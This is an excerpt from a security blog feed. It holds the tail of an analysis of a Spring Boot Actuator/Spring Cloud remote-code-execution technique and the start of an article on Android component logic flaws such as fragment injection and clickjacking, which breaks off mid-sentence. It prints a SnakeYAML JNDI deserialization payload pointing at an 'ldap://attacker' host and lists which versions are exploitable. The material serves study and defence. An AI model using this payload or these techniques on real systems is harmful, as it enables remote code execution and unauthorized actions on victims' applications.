src="https://storage.googleapis.com/papyrus_images/dbe93b6b018fe6e3f860dc8c140688867bd78df9e3b7768d5da50ec830849916.png" alt="image-20191130175148009" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">image-20191130175148009</figcaption></figure><p>We can know that</p><ul><li><p>Spring Boot 2.x cannot be exploited successfully</p></li></ul><ul><li><p>Spring Boot 1.5.x can be used successfully when using the Dalstonversion , but can Edgwarenot be used successfully</p></li></ul><ul><li><p>Spring Boot &lt;= 1.4 can exploit success</p></li></ul><h2 id="h-think" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Think</h2><h3 id="h-how-to-find-it" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">How to find it?</h3><p>How did the author find this exploit? This has always been the first question that I want to know the answer to after reading this big guy&apos;s article, and it is also the most difficult question. Here try to find some ideas and clues</p><p>First of all, when Spring Cloud components are not used, the /envendpoint of Spring Boot Actuator can only read the value of environment variables by default, so the first question is, how to know that there is a function that can modify environment variables?</p><p>Here, you need to have a certain understanding and experience of Spring ecology, such as Spring Boot, Spring Cloud, etc., otherwise, you will not be able to start. By searching Spring Cloud&apos;s documentation, I found the relevant instructions <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://cloud.spring.io/spring-cloud-static/spring-cloud.html#%5C_endpoints">https://cloud.spring.io/spring-cloud-static/spring-cloud.html#\_endpoints</a></p><ul><li><p>POST to /env to update the Environment and rebind @ConfigurationProperties and log levels</p></li></ul><ul><li><p>/refresh for re-loading the bootstrap context and refreshing the @RefreshScope beans</p></li></ul><p>From the documentation, we also know that requests /refresh can trigger bootstrap context reload and load the modified environment variables</p><p>Then the next problem is to find which environment variables can be modified and some sensitive operations will be performed after reload. According to the instructions in the article, there are many environment variables that can be modified, so you need to try them one by one.</p><p>There is no idea of ​​forward-thinking here, turn to the reverse, try to spring.cloud.bootstrap.locationstart with, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://cloud.spring.io/spring-cloud-commons/multi/multi__spring_cloud_context_application_context_services.html#customizing-bootstrap-properties">customize-bootstrap-properties according to the instructions in the Spring documentation</a></p><blockquote><p><strong>The bootstrap.yml (or .properties) location can be specified by setting spring.cloud.bootstrap.name (default: bootstrap) or spring.cloud.bootstrap.location (default: empty) — for example, in System properties.</strong></p></blockquote><p>It can be known that this variable is used to specify the location of the bootstrap configuration file. The supported file formats include ymland properties. Friends who are familiar with Java security may think that the parsing of yml will have a problem of <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet">deserialization</a>. If the content of the configuration file is here, we If you can control it, there is a possibility that it can be exploited.</p><p>The next step is to combine the Spring Cloud source code and hands-on debugging to determine the processing of spring.cloud.bootstrap.locationenvironment variables and the parsing process of configuration files. According to the previous analysis, we know that the specified yml file will be downloaded in the code and parsed using the SnakeYAML library, so there is a deserialization vulnerability.</p><p>Of course, the actual process will be much more complicated than just described, requiring a lot of time and effort to read the documentation and debug the code.</p><h3 id="h-snakeyaml-payload" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">SnakeYAML Payload</h3><p>According to the introduction in <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf">https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf</a>, in addition to the javax.script.ScriptEngineManager class , we can also use the com.sun.rowset.JdbcRowSetImplclass to complete the exploitation through JNDI injection. The payload is as follows</p><pre data-type="codeBlock" text="!!com.sun.rowset.JdbcRowSetImpl
  dataSourceName: ldap://attacker/obj
  autoCommit: true
"><code><span class="hljs-operator">!</span><span class="hljs-operator">!</span>com.sun.rowset.JdbcRowSetImpl
  dataSourceName: ldap:<span class="hljs-comment">//attacker/obj</span>
  autoCommit: <span class="hljs-literal">true</span>
</code></pre><p>In contrast ScriptEngineManager, JNDI injection will have some limitations in the use of high-level JDK, but because Spring Boot uses the Tomcat container by default, it can still be used successfully. For details, please refer to another article by Michael Stepankin. <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.veracode.com/blog/research/exploiting-jndi-injections-java">Exploiting JNDI Injections in Java</a></p><h3 id="h-changes-in-yamlpropertysourceloader" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Changes In YamlPropertySourceLoader</h3><p>In the process of looking for the reason for the failure of the high version of Spring Boot Actuator, I also found that even if it spring.cloud.bootstrap.locationcan successfully resolve, it still cannot succeed. The reason is that the class org.springframework.boot.env.YamlPropertySourceLoaderlogic of parsing yml in Spring boot has also changed. The test code is as follows</p><pre data-type="codeBlock" text="    @Test
    public void test() throws Exception {
        new YamlPropertySourceLoader().load(&quot;name&quot;, new ClassPathResource(&quot;payload/yaml-payload.yml&quot;));
    }
"><code>    <span class="hljs-meta">@Test</span>
    <span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">test</span><span class="hljs-params">()</span> <span class="hljs-keyword">throws</span> Exception {
        <span class="hljs-keyword">new</span> <span class="hljs-title class_">YamlPropertySourceLoader</span>().load(<span class="hljs-string">"name"</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">ClassPathResource</span>(<span class="hljs-string">"payload/yaml-payload.yml"</span>));
    }
</code></pre><p>The following error will be reported after execution</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/f67492893d546f1eb4f426fff81e21c260cb2cb01f02a61eb0a93e3bf1ee51c4.png" alt="image-20191130232431309" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">image-20191130232431309</figcaption></figure><p>The error message is obvious. java.net.URLWhen the parameter type of the constructor is incorrect. After debugging, it is found that the higher version of Spring Boot stores the parsed value in the org.springframework.boot.origin.OriginTrackedValue.$OriginTrackedCharSequenceclass instead java.lang.String, which causes the failure to create an instance by reflection.</p><h2 id="h-summary" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Summary</h2><p>This article briefly analyzes the principles and steps of implementing RCE by modifying spring.cloud.bootstrap.locationenvironment . Although it cannot be used successfully in high versions, the process is still worth learning. And because there are so many frameworks and components in the Spring ecosystem, there may be more ways to use them. Interested masters can try to study them.</p><p>Finally, due to the limited personal level, there may be inaccurate or wrong descriptions in the article. Welcome to point out and communicate</p><h2 id="h-reference" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Reference</h2><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.veracode.com/blog/research/exploiting-spring-boot-actuators">Exploiting Spring Boot Actuators</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#snakeyaml-yaml">Java-Deserialization-Cheat-Sheet - SnakeYAML (YAML)</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/mbechler/marshalsec">Java Unmarshaller Security</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://bitbucket.org/asomov/snakeyaml/wiki/Documentation">SnakeYAML Documentation</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://spring.io/projects/spring-cloud">Spring Cloud</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://cloud.spring.io/spring-cloud-commons/multi/multi__spring_cloud_context_application_context_services.html#_customizing_the_bootstrap_configuration">Spring Cloud Context: Application Context Services</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/b1ngz/spring-boot-actuator-cloud-vul">Spring Boot Actuator + Spring Cloud Vul Env</a></p></li></ul>]]></content:encoded>
            <author>tutorialboy@newsletter.paragraph.com (TutorialBoy)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/415a21eebff52a219b3ad98c949cc95783afe1a4f694a171b1fc5af0e1a3070a.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[A Talk about Logic Vulnerabilities of Android Components - Android Security]]></title>
            <link>https://paragraph.com/@tutorialboy/a-talk-about-logic-vulnerabilities-of-android-components-android-security</link>
            <guid>SQDGZtXqb7M3YngzKxVV</guid>
            <pubDate>Wed, 19 Apr 2023 09:35:06 GMT</pubDate>
            <description><![CDATA[ForewordAs society pays more and more attention to security, various defensive programming or vulnerability mitigation measures are gradually added to the operating system, such as code signature, pointer signature, address randomization, isolated heap, etc. Many common memory corruption vulnerabilities are in Stable exploitation is often difficult under these mitigations. Therefore, attackers are gradually focusing more on logical loopholes. Logical loopholes usually have good stability and ...]]></description>
            <content:encoded><![CDATA[<br><h2 id="h-foreword" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Foreword</h2><p>As society pays more and more attention to security, various defensive programming or vulnerability mitigation measures are gradually added to the operating system, such as code signature, pointer signature, address randomization, isolated heap, etc. Many common memory corruption vulnerabilities are in Stable exploitation is often difficult under these mitigations. Therefore, attackers are gradually focusing more on logical loopholes. Logical loopholes usually have good stability and are not affected but at the same time, they are hidden deep and are difficult to find in a large number of business codes. Moreover, due to the variety of forms, it is not very versatile, and may not be a high-priority research direction from the perspective of the input-output ratio. Regardless, this is always an attack surface to watch. Therefore, this article introduces some common logic vulnerabilities targeting the Android platform.</p><h2 id="h-the-major-components" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">The Major Components</h2><p>Anyone who has been in contact with Android should have heard of the &quot;major components&quot;. The first thing to learn when developing an application is the life cycle of each component. The so-called four major components refer to Activity, Service, Broadcast Receiver, and Content Provider respectively. For the implementation details of these components, please refer to the official document: Application Fundamentals.</p><p>In security research, the four major components deserve our special attention, because they are an important bridge for the application to communicate with the outside world, and even within the application, these components are used to build a loosely coupled relationship with each other. For example, the application does not need to apply for camera permission, but the (system) camera application can open the camera and obtain the captured photos through mutual communication between components as if it was taking pictures by itself.</p><p>In the process of component interaction, the core data structure is Intent, which is the carrier of communication between most components.</p><h2 id="h-intent-101" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Intent 101</h2><p>According to the official statement, Intent is an &quot;abstract description of an operation to be performed&quot;, which can also be called &quot;intent&quot; in literal translation, such as wanting to turn on the camera to take pictures, to open a browser to visit a website, to open the settings interface,... can be described by Intent.</p><p>There are two main forms of Intent, namely explicit Intent, and implicit Intent; the difference between the two is that the former explicitly specifies a Component, while the latter does not specify a Component, but it will use enough information to help the system understand the intent, such as Action, Category, etc.</p><p>The main function of Intent is to start Activity, so we take this scenario as an example to analyze the specific implementation of Intent from the source code. The general code snippet for starting an Activity is as follows:</p><pre data-type="codeBlock" text="Intent intent = new Intent(context, SomeActivity.class);
startActivity(intent);
"><code>Intent <span class="hljs-attr">intent</span> = new Intent(context, SomeActivity.class)<span class="hljs-comment">;</span>
startActivity(intent)<span class="hljs-comment">;</span>
</code></pre><p>An explicit Intent is used here, but that&apos;s not the point. It is generally called in an Activity, so the Activity.startActivitycode is called in frameworks/base/core/java/android/app/Activity.java, and there is no copying and pasting here. In short, the calling link is as follows:</p><ul><li><p>Activity. startActivity()</p></li></ul><ul><li><p>Activity. startActivityForResult()</p></li></ul><ul><li><p>Instrumentation. execStartActivity()</p></li></ul><ul><li><p>ActivityTaskManager.getService().startActivity()</p></li></ul><ul><li><p>IActivityTaskManager. startActivity()</p></li></ul><p>The last call is an interface, which is a very common pattern. The next step is to find its implementation. If there is no accident, this implementation should be in another process. In fact it is also system_serverin :</p><ul><li><p>ActivityTaskManagerService. startActivity()</p></li></ul><ul><li><p>ActivityTaskManagerService.startActivityAsUser()</p></li></ul><ul><li><p>ActivityStarter. execute()</p></li></ul><p>The last method prepares to start the Activity through the information passed in before, including caller, userId, flags, callingPackage and the most important intent information, as follows:</p><pre data-type="codeBlock" text="private int startActivityAsUser(...) {
    // ...
    return getActivityStartController()
            .obtainStarter(
                intent, &quot;startActivityAsUser&quot;)
            .setCaller(caller)
            .setCallingPackage(callingPackage)
            .setCallingFeatureId(callingFeatureId)
            .setResolvedType(resolvedType)
            .setResultTo(resultTo)
            .setResultWho(resultWho)
            .setRequestCode(requestCode)
            .setStartFlags(startFlags)
            .setProfilerInfo(profilerInfo)
            .setActivityOptions(bOptions)
            .setUserId(userId)
            .execute();
}
"><code><span class="hljs-keyword">private</span> <span class="hljs-keyword">int</span> startActivityAsUser(...) {
    <span class="hljs-comment">// ...</span>
    <span class="hljs-keyword">return</span> getActivityStartController()
            .obtainStarter(
                intent, <span class="hljs-string">"startActivityAsUser"</span>)
            .setCaller(caller)
            .setCallingPackage(callingPackage)
            .setCallingFeatureId(callingFeatureId)
            .setResolvedType(resolvedType)
            .setResultTo(resultTo)
            .setResultWho(resultWho)
            .setRequestCode(requestCode)
            .setStartFlags(startFlags)
            .setProfilerInfo(profilerInfo)
            .setActivityOptions(bOptions)
            .setUserId(userId)
            .execute();
}
</code></pre><p>The main logic of ActivityStarter.execute() is as follows:</p><pre data-type="codeBlock" text="int execute() {
    // ...
    if (mRequest.activityInfo == null) {
        mRequest.resolveActivity(mSupervisor);
    }
    res = resolveToHeavyWeightSwitcherIfNeeded();
    res = executeRequest(mRequest);

}
"><code><span class="hljs-keyword">int</span> execute() {
    <span class="hljs-comment">// ...</span>
    <span class="hljs-keyword">if</span> (mRequest.activityInfo <span class="hljs-operator">=</span><span class="hljs-operator">=</span> null) {
        mRequest.resolveActivity(mSupervisor);
    }
    res <span class="hljs-operator">=</span> resolveToHeavyWeightSwitcherIfNeeded();
    res <span class="hljs-operator">=</span> executeRequest(mRequest);

}
</code></pre><p>Among them, it resolveActivityis used to obtain the information of the Activity to be started. For example, in the case of implicit start, there may be multiple targets that meet the requirements, and a pop-up menu will ask the user which application to choose to open. executeRequestIn the middle, it mainly checks related permissions, and calls startActivityUncheckedto .</p><p>I have already introduced most of the processes in the Android12 application startup process analysis , and here more attention is paid to the role of Intent itself. From the above analysis, it can be seen as a message carrier in multi-process communication, and its source code definition can also be seen that Intent itself is a structure that can be serialized and passed between processes.</p><pre data-type="codeBlock" text="public class Intent implements Parcelable, Cloneable { ... }
"><code><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">Intent</span> <span class="hljs-title">implements</span> <span class="hljs-title">Parcelable</span>, <span class="hljs-type">Cloneable</span> { ... }
</code></pre><p>IntentIt has many methods and attributes, which will not be expanded here for the time being, and will be analyzed later when specific vulnerabilities are introduced. The following article mainly starts with the four major components, and introduces some common vulnerability modes and design traps respectively.</p><h2 id="h-activity" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Activity</h2><p>Activity , also known as the active window, is a graphical interface that directly interacts with the user. One of the main development tasks of APP is to design each activity and plan the jumps and links between them. Usually an activity represents a full-screen active window, but it can also exist in other forms, such as floating windows, multi-windows, etc. As a UI window, it generally uses XML files for layout, and inherits the Activity class to implement its life cycle functions onCreateand onPauseother life cycle methods.</p><p>If the Activity defined by the developer wants to be Context.startActivitystarted by , it must be declared in the manifest file of the APP, namely <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://developer.android.com/guide/topics/manifest/manifest-intro">AndroidManifest.xml</a>. When the application is installed, it PackageManagerwill parse the relevant information in its manifest file and register it in the system, so that it can be searched resolvewhen .</p><p>In the adb shell, you can use am start-activityto open the specified Activity, and start it by specifying the Intent:</p><pre data-type="codeBlock" text="am start-activity [-D] [-N] [-W] [-P &lt;FILE&gt;] [--start-profiler &lt;FILE&gt;]
        [--sampling INTERVAL] [--streaming] [-R COUNT] [-S]
        [--track-allocation] [--user &lt;USER_ID&gt; | current] &lt;INTENT&gt;
"><code>am start<span class="hljs-operator">-</span>activity [<span class="hljs-operator">-</span>D] [<span class="hljs-operator">-</span>N] [<span class="hljs-operator">-</span>W] [<span class="hljs-operator">-</span>P <span class="hljs-operator">&#x3C;</span>FILE<span class="hljs-operator">></span>] [<span class="hljs-operator">-</span><span class="hljs-operator">-</span>start<span class="hljs-operator">-</span>profiler <span class="hljs-operator">&#x3C;</span>FILE<span class="hljs-operator">></span>]
        [<span class="hljs-operator">-</span><span class="hljs-operator">-</span>sampling INTERVAL] [<span class="hljs-operator">-</span><span class="hljs-operator">-</span>streaming] [<span class="hljs-operator">-</span>R COUNT] [<span class="hljs-operator">-</span>S]
        [<span class="hljs-operator">-</span><span class="hljs-operator">-</span>track<span class="hljs-operator">-</span>allocation] [<span class="hljs-operator">-</span><span class="hljs-operator">-</span>user <span class="hljs-operator">&#x3C;</span>USER_ID<span class="hljs-operator">></span> <span class="hljs-operator">|</span> current] <span class="hljs-operator">&#x3C;</span>INTENT<span class="hljs-operator">></span>
</code></pre><p>As the carrier of the user interface, Activity carries many tasks such as user input/processing, external data reception/display, etc., so it is a main attack surface of the application. Several common attack scenarios are introduced below.</p><h3 id="h-the-life-cycle" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">The Life Cycle</h3><p>The classic life cycle diagram of Activity is as follows:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/54bc6b4d86e7ef73e6dc7795ae65e9b8383372e9cc389811a0fae829700be36c.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>Usually developers only need to implement the onCreatemethod , but for some complex business scenarios, it is necessary to correctly understand its life cycle. Take an application that the author encountered in the internal test as an example. Some sensitive operations were performed in a certain Activity, such as turning on the camera streaming, or turning on the recording, onDestroybut the streaming/recording was only turned off in . This will cause these operations to still run in the background when the APP enters the background, and the attacker can construct a task stack so that the victim still executes the background functions of the target application when facing the phishing interface of the malicious application, thus forming a special phishing scenario. The correct approach should be to close sensitive operations in the onPausedcallback .</p><p>In fact, the attacker can precisely control the triggering timing of the target Activity lifecycle callback function by continuously sending different Intents. If no attention is paid during development, the state machine of the application function will be abnormal or even a security problem.</p><h3 id="h-implicit-exported" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Implicit Exported</h3><p>As mentioned earlier, if the Activity defined by the developer wants to use startActivityto start, it must &lt;activity&gt;be declared in AndroidManifest.xml. An example of a declaration is as follows:</p><pre data-type="codeBlock" text="&lt;activity xmlns:android=&quot;http://schemas.android.com/apk/res/android&quot; android:theme=&quot;@android:01030055&quot; android:name=&quot;com.evilpan.RouterActivity&quot;&gt;
  &lt;intent-filter&gt;
    &lt;action android:name=&quot;android.intent.action.VIEW&quot;/&gt;
    &lt;category android:name=&quot;android.intent.category.DEFAULT&quot;/&gt;
    &lt;category android:name=&quot;android.intent.category.BROWSABLE&quot;/&gt;
    &lt;data android:scheme=&quot;demo&quot; android:host=&quot;router&quot;/&gt;
  &lt;/intent-filter&gt;
&lt;/activity&gt;
"><code><span class="hljs-operator">&#x3C;</span>activity xmlns:android<span class="hljs-operator">=</span><span class="hljs-string">"http://schemas.android.com/apk/res/android"</span> android:theme<span class="hljs-operator">=</span><span class="hljs-string">"@android:01030055"</span> android:name<span class="hljs-operator">=</span><span class="hljs-string">"com.evilpan.RouterActivity"</span><span class="hljs-operator">></span>
  <span class="hljs-operator">&#x3C;</span>intent<span class="hljs-operator">-</span>filter<span class="hljs-operator">></span>
    <span class="hljs-operator">&#x3C;</span>action android:name<span class="hljs-operator">=</span><span class="hljs-string">"android.intent.action.VIEW"</span><span class="hljs-operator">/</span><span class="hljs-operator">></span>
    <span class="hljs-operator">&#x3C;</span>category android:name<span class="hljs-operator">=</span><span class="hljs-string">"android.intent.category.DEFAULT"</span><span class="hljs-operator">/</span><span class="hljs-operator">></span>
    <span class="hljs-operator">&#x3C;</span>category android:name<span class="hljs-operator">=</span><span class="hljs-string">"android.intent.category.BROWSABLE"</span><span class="hljs-operator">/</span><span class="hljs-operator">></span>
    <span class="hljs-operator">&#x3C;</span>data android:scheme<span class="hljs-operator">=</span><span class="hljs-string">"demo"</span> android:host<span class="hljs-operator">=</span><span class="hljs-string">"router"</span><span class="hljs-operator">/</span><span class="hljs-operator">></span>
  <span class="hljs-operator">&#x3C;</span><span class="hljs-operator">/</span>intent<span class="hljs-operator">-</span>filter<span class="hljs-operator">></span>
<span class="hljs-operator">&#x3C;</span><span class="hljs-operator">/</span>activity<span class="hljs-operator">></span>
</code></pre><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://developer.android.com/guide/topics/manifest/activity-element">There are many properties supported in activity</a> . One of the important attributes is android:exportedto indicate whether the current Activity can be started by other application components. This attribute has several characteristics.</p><ul><li><p>The attribute can be defaulted, and the default value defaults to false.</p></li></ul><ul><li><p>If the Activity does not explicitly set this property and it is defined in the Activity &lt;intent-filter&gt;, then the default value is true.</p></li></ul><p>That is to say, the developer may not explicitly specify the Activity export, but because it is specified intent-filter, it is actually exported, that is, the corresponding Activity can be invoked by other applications. This situation was very common in the early days. For example, APP designed a set of interfaces for changing passwords. You need to enter the old password first and then jump to the interface for entering the new password. If the latter is exported, the attacker can directly evoke the input of the new password. The password interface, thus bypassing the verification logic of the old password.</p><p>Google has been deeply aware of this problem, so it stipulates that after Android 12, if the application&apos;s Activity contains intent-filter, it must be explicitly specified android:exportedas true or false, and the default is not allowed. In Android 12, an application that does not explicitly specify the exported attribute and has an intent-filter Activity will be directly rejected by the PackageManager during installation.</p><h3 id="h-fragment-injection" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Fragment Injection</h3><p>Activity, as the core component of the UI, also supports modular development, such as displaying several reusable sub-interfaces in the same interface. The Fragments component, or &quot;fragment&quot;, was born with this design idea . FragmentActivityOne or more fragments can be combined in an Activity to facilitate code reuse. The life cycle of a fragment is affected by the host Activity.</p><p>The Fragment Injection vulnerability first broke out in 2013. Here we only introduce its principle. The original articles and papers are attached at the end of this section. The core of the vulnerability is the PreferenceActivityclass . Developers can inherit it to implement convenient setting functions. The onCreate function of this class has the following functions:</p><pre data-type="codeBlock" text="protected void onCreate() {
    // ...
    String initialFragment = getIntent().getStringExtra(EXTRA_SHOW_FRAGMENT);
    Bundle initialArguments = getIntent().getBundleExtra(EXTRA_SHOW_FRAGMENT_ARGUMENTS);
    // ...
    if (initialFragment != null) {
        switchToHeader(initialFragment, initialArguments);
    }
}

private void switchToHeaderInner(String fragmentName, Bundle args) {
    getFragmentManager().popBackStack(BACK_STACK_PREFS,
            FragmentManager.POP_BACK_STACK_INCLUSIVE);
    if (!isValidFragment(fragmentName)) {
        throw new IllegalArgumentException(&quot;Invalid fragment for this activity: &quot;
                + fragmentName);
    }

    Fragment f = Fragment.instantiate(this, fragmentName, args);
}
"><code>protected void onCreate() {
    <span class="hljs-comment">// ...</span>
    String initialFragment <span class="hljs-operator">=</span> getIntent().getStringExtra(EXTRA_SHOW_FRAGMENT);
    Bundle initialArguments <span class="hljs-operator">=</span> getIntent().getBundleExtra(EXTRA_SHOW_FRAGMENT_ARGUMENTS);
    <span class="hljs-comment">// ...</span>
    <span class="hljs-keyword">if</span> (initialFragment <span class="hljs-operator">!</span><span class="hljs-operator">=</span> null) {
        switchToHeader(initialFragment, initialArguments);
    }
}

<span class="hljs-keyword">private</span> void switchToHeaderInner(String fragmentName, Bundle args) {
    getFragmentManager().popBackStack(BACK_STACK_PREFS,
            FragmentManager.POP_BACK_STACK_INCLUSIVE);
    <span class="hljs-keyword">if</span> (<span class="hljs-operator">!</span>isValidFragment(fragmentName)) {
        <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> IllegalArgumentException(<span class="hljs-string">"Invalid fragment for this activity: "</span>
                <span class="hljs-operator">+</span> fragmentName);
    }

    Fragment f <span class="hljs-operator">=</span> Fragment.instantiate(<span class="hljs-built_in">this</span>, fragmentName, args);
}
</code></pre><p>It can be seen that a string and a Bundle parameter are obtained from the Intent, and finally passed switchToHeaderInnerinto to instantiate the specific one Fragment. The instantiation process is as follows:</p><pre data-type="codeBlock" text="public static Fragment instantiate(Context context, String fname, Bundle args) {
    // ...
    Class clazz = sClassMap.get(fname);
    if (clazz == null) {
            // Class not found in the cache, see if it&apos;s real, and try to add it
            clazz = context.getClassLoader().loadClass(fname);
            sClassMap.put(fname, clazz);
    }
    Fragment f = (Fragment)clazz.newInstance();
    if (args != null) {
            args.setClassLoader(f.getClass().getClassLoader());
            f.mArguments = args;
    }
    return f;
}
"><code><span class="hljs-keyword">public</span> static Fragment instantiate(Context context, String fname, Bundle args) {
    <span class="hljs-comment">// ...</span>
    Class clazz <span class="hljs-operator">=</span> sClassMap.get(fname);
    <span class="hljs-keyword">if</span> (clazz <span class="hljs-operator">=</span><span class="hljs-operator">=</span> null) {
            <span class="hljs-comment">// Class not found in the cache, see if it's real, and try to add it</span>
            clazz <span class="hljs-operator">=</span> context.getClassLoader().loadClass(fname);
            sClassMap.put(fname, clazz);
    }
    Fragment f <span class="hljs-operator">=</span> (Fragment)clazz.newInstance();
    <span class="hljs-keyword">if</span> (args <span class="hljs-operator">!</span><span class="hljs-operator">=</span> null) {
            args.setClassLoader(f.getClass().getClassLoader());
            f.mArguments <span class="hljs-operator">=</span> args;
    }
    <span class="hljs-keyword">return</span> f;
}
</code></pre><p>A classic reflection call, instantiates the incoming string as a Java class and sets its parameters. What is this, this is deserialization! And the actual vulnerability comes from here. Since the incoming parameter is controllable by the attacker, the attacker can set it as an internal class, thus touching the functions that the developer did not expect. In the original report, the author used a Fragment that sets the PIN password in the Settings application as the target input. This is a private fragment, which leads to the function of modifying the PIN code without authorization. Many other user applications at that time also used PreferenceActivity, so the vulnerability had a wide impact, and the resulting exploits varied according to the functions of the application itself (that is, whether there are useful Gadgets).</p><p>Note that the above code is excerpted from the latest Android 13, where the switchToHeaderInnermethod has added the isValidFragmentjudgment, which is one of Android&apos;s original fixes, that is, forcing subclasses of PreferenceActivity to implement this method, otherwise an exception will be thrown at runtime. But even so, there are still many developers who directly inherit and return truefor the .</p><p>Fragment Injection seems to be a problem of PreferenceActivity, but its core is still the imperfect verification of untrusted input. In the following examples, we will see similar vulnerability patterns many times.</p><h3 id="h-reference-article" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Reference Article:</h3><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://securityintelligence.com/new-vulnerability-android-framework-fragment-injection/https://securityintelligence.com/new-vulnerability-android-framework-fragment-injection/">A New Vulnerability in the Android Framework: Fragment Injection</a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://securityintelligence.com/wp-content/uploads/2013/12/android-collapses-into-fragments.pdf">ANDROID COLLAPSES INTO FRAGMENTS.pdf (wp)</a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.synopsys.com/blogs/software-security/fragment-injection/">Understanding fragment injection</a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://support.google.com/faqs/answer/7188427?hl=en">How to fix Fragment Injection vulnerability</a></p></li></ul><h3 id="h-clickjacking" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">ClickJacking</h3><p>Since Activity is the main carrier of UI, the interaction with users is also a key function. In traditional web security, there has been a method of clickjacking, which is to place the case where the target website wants the victim to click on a specified location (such as an iframe), and use related components in the host to cover and guide the target, so that the victim The author performed sensitive operations unknowingly, such as liking, coining, collecting, and resigning with one click.</p><p>Similar attack methods have also appeared in Android, such as covering the attacker&apos;s custom TextView in front of the system&apos;s sensitive pop-up window to guide the victim to confirm certain harmful operations. Of course, this requires the attacker&apos;s application to have the floating window permission ( SYSTEM_ALERT_WINDOW). In the newer Android system, the application for this permission requires multiple confirmations from the user.</p><p>In the past two years, some clickjacking vulnerabilities have also appeared in AOSP, including but not limited to:</p><ul><li><p>CVE-2020-0306: Bluetooth discovery request confirmation box override</p></li></ul><ul><li><p>CVE-2020-0394: Bluetooth pairing dialog override</p></li></ul><ul><li><p>CVE-2020-0015: Certificate installation dialog override</p></li></ul><ul><li><p>CVE-2021-0314: Uninstall confirmation dialog override</p></li></ul><ul><li><p>CVE-2021-0487: Calendar debug dialog override</p></li></ul><p>For system applications, the way to defend against clickjacking is generally SYSTEM_FLAG_HIDE_NON_SYSTEM_OVERLAY_WINDOWSto .</p><p>For ordinary applications, it is impossible to apply for the HIDE_NON_SYSTEM_OVERLAY_WINDOWS permission. There are generally two defensive measures. One is to prohibit input events after the form is overwritten by filterTouchesWhenObscuredsetting trueto ; the other is to overload the View.onFilterTouchEventForSecurity method and detect Coverage by other apps. In Android 12, the system has enabled the filterTouchesWhenObscured attribute by default, which is also a classic implementation of security by default.</p><p>Another vulnerability similar to clickjacking is called StrandHogg. For details, please refer to the original article below. The key point is to use the Activity&apos;s allowTaskReparentingand taskAffinityattributes to disguise its task stack as the target application, so that when the target application is opened, due to the last-in-first-out feature of TaskStack, the user will see the attacker&apos;s application, resulting in application phishing Scenes.</p><p>Later, the same security team proposed the StrandHogg 2.0 version, which mainly uses ActivityStarterthe AUTOMERGE feature in . Assuming there are two applications A and B, startActivites(B1, 